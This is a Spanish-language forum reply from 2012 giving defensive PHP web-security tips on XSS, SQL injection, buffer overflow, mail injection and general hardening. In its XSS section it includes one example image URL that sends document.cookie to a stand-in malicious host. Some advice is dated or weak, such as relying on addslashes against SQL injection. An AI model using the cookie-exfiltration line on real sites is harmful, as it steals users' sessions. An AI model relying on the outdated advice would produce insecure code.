Ver Mensaje Individual
  #3 (permalink)  
Antiguo 08/03/2012, 06:31
bray
 
Fecha de Ingreso: agosto-2011
Mensajes: 110
Antigüedad: 13 años, 7 meses
Puntos: 13
Respuesta: Seguridad PHP

hola, como te ha dicho repara2, el tema del domino lo puedes consultar con tu proveedor de hosting, pero yo intentaría conseguir uno nuevo por aquello de la confianza.

En cuanto a la seguridad, Eso es un tema muy complejo, hay directivas sencillas a seguir para evitar los ataques mas comunes, pero nunca, jamas podrás tener un sitio completamente seguro salvo que sea una pagina html plana y no permitas interactuar a los usuarios mas que haciendo clic en los enlaces, y aun esto no es 100% seguro

Aquí te escribiré unas cuantas directivas de seguridad pero te recomiendo buscar por internet tutoriales mas completos o comprarte algún libro sobre el tema.

1 ) evitar Buffer Overflow (desbordamiento de buffer):
El buffer overflow se produce cuando los datos enviados son mayores que la memoria disponible, por lo que se sobrescriben zonas de la memoria que en principio estaban destinadas a otras tareas que no son las de almacenar datos. Un hacker hábil puede llegar a ejecutar programas propios mediante esta técnica.
Se suele decir que PHP es "invulnerable " al Buffer Overflow aunque es una creencia errónea y una mala practica de programación por dos motivos
1º para ser invulnerable a este tipo de ataques habría que tener memoria ilimitada (infinita) y que yo sepa, no existe ese tipo de sistema.
2º que la versión actual de php tenga una implementación que dificulta mucho (que lo hace) el uso de esta técnica, no significa que en actualizaciones posteriores, se pueda cometer un error e introducir un bug que permita esta técnica

por lo tanto hay que tenerlo en cuenta.

Evitar el Desbordamiento de buffer o Buffer overflow es bastante sencillo solo debes comprobar los tamaños de los datos que recuperas de los usuarios, mediante el uso de strlen();

Ej, Un nombre de usuario no va a superar los 50 caracteres por lo tanto es razonable limitar a 50 y no permitir valores superiores.


2) Evitar el Cross-Site Scripting( XSS)

A medida que se aumenta la interactividad del usuario con disminuye la protección XSS algo tan simple como permitir que el usuario introduzca enlaces ó imágenes hace que la protección sea casi nula en nuestro sitio

1º si no vas a permitir HTML por parte de los usuarios , usa la función htmlentities()
http://php.net/manual /es/function.htmlentities.php
En muchos lugares no se distingue entre ésta y htmlspecialchars() pero la realidad es que htmlentities filtra algunos caracteres que htmlspecialchars() no , asi que yo te recomiendo la primera (tal vez alguien tiene una razón mejor por la que no )

2º si vas a permitir enlaces, usa la función parse_url()
http://es2.php.net/manual/es/function.parse-url.php
esta función descompone las url en partes y podrás comprobar ciertas cosas como por ejemplo limitar el protocolo a http:// y eliminar los protocolos javascript: , telnet: ... ademas podrás comprobar el host y otros elementos que pueden darte pistas de direcciones malintencionadas.


3º si vas a permitir el uso de imágenes ten en cuenta que el atributo src de la etiqueta img y el atributo background acceden a una dirección url para recuperar la imagen por lo que si el valor es
http://www.example.com/imagen.jpg, no hay problema (En principio, ya que hay otros "peligros " ). Pero la dirección puede ser 'http://www.malicioso.com/script.php?info='.document.cookie y solo por el mero hecho de cargar la pagina, el usuario estaría enviado sus cookies a un script externo. Esto es imposible de prevenir al 100% (como todo en seguridad) pero puedes impedir ciertos elementos de la url en src utilizando expresiones regulares o bien limitando el host a sitios determinados.

4º si vas a permitir html documéntate y utiliza proyectos de código abierto que ya se encargan de esto como HTMLPurifier http://htmlpurifier.org/


3) Evitar el sql inyection

para evitar la inyeccion sql se emplean , básicamente, las funciones addslashes() y stripslashes() para filtrar la entrada y salida de códigos de la BD, aun así , se filtraría solo el código sql pero no se impediría que se almacenase código de script en la base de datos o se intentase desbordar el buffer por lo que es imprescindible combinarlo con las técnicas de prevención anteriores.



4) Evitar el mail inyection
En este mismo foro hay un post muy bueno que explica como evitar la inyección de cabeceras mail para el envío de spam masivo.

http://www.forosdelweb.com/f18/como-...ection-774875/



5) Otras premisas de seguridad.

Para no convertir el post en un articulo sobre seguridad (tampoco soy un experto como para dar mas lecciones) te listare algunos puntos a tener en cuenta al asegurar tu sitio web.

- Desactivar register globals , ya sea mediante php.ini o htaccess.
- No dejes todos los scripts del sitio en el mismo directorio.
- Inicializar todas las variables con un valor por defecto.
- Desactivar las magic_quotes
- Listar todos los campos de los formularios y sus valores esperados , procesando solamente dichos campos.
- Identificar los formularios.
- Asegurar las sesiones para evitar el "secuestro"
- Hacer perecederas las cookies de sesión.
- Enviar los datos confidenciales usando metodos como SSL
- No enviar todos los datos de los que depende un script por URL (GET)
- Validar todas las entradas de formularios, esto no evita ataques pero limita la capacidad de maniobra del atacante (comprobar tipos y usar expresiones regulares)
- si alguna de las entradas de usuario van a una función que ejecuta comandos de consola como exec() utiliza scapeshellcmd() para filtrarlas.

- Manten los documentos delicados fuera del DOCUMENT_ROOT del sitio
- Utiliza permisos minimos de acceso a archivos dentro del documentRoot
- limita ó impide que los usuarios nombren archivos en tu servidor (puedes usar alias en la BD)
- coloca un index.php en cada carpeta e impide que se listen los archivos contenidos en ella
- Configura un archivo robots.txt para evitar que los bots de los buscadores registren las partes privadas de tu sitio


-si cargas los modulos de tu pagina dinamicamente tipo ?page=nombre_modulo , haz que dicho cargador acepte sólo valores de paginas existentes para impedir que se pueda acceder a documentos del servidor a traves de tu web.



como ves, el tema de la seguridad es muy complejo pero todo es ir avanzando poco a poco, lo principal es tener claro 3 cosas

1 - Desconfia de todas las entradas de los usuarios
2 - Algo de seguridad es mejor que nada
3- Los sistemas 100% seguros no existen

te dejo algunos enlaces para que eches un ojo,

opciones de seguridad htaccess
http://dotpress.wordpress.com/2008/0...-con-htaccess/

crear un archivo robots.txt
http://www.contadorwap.com/buscadores-robots.php

Artiuclo sobre el xss (en ingles)
http://www.cgisecurity.com/xss-faq.html

y por ultimo una colecion de snippets de codigo XSS , en general se suele decir que una aplicacion es bastante segura al XSS si empleando los codigos de esta pagina, no se encuentra una vulnerabilidad.

http://ha.ckers.org/xss.html


Me ha quedado un post bastante largo, pero espero haberte ayudado, un saludo.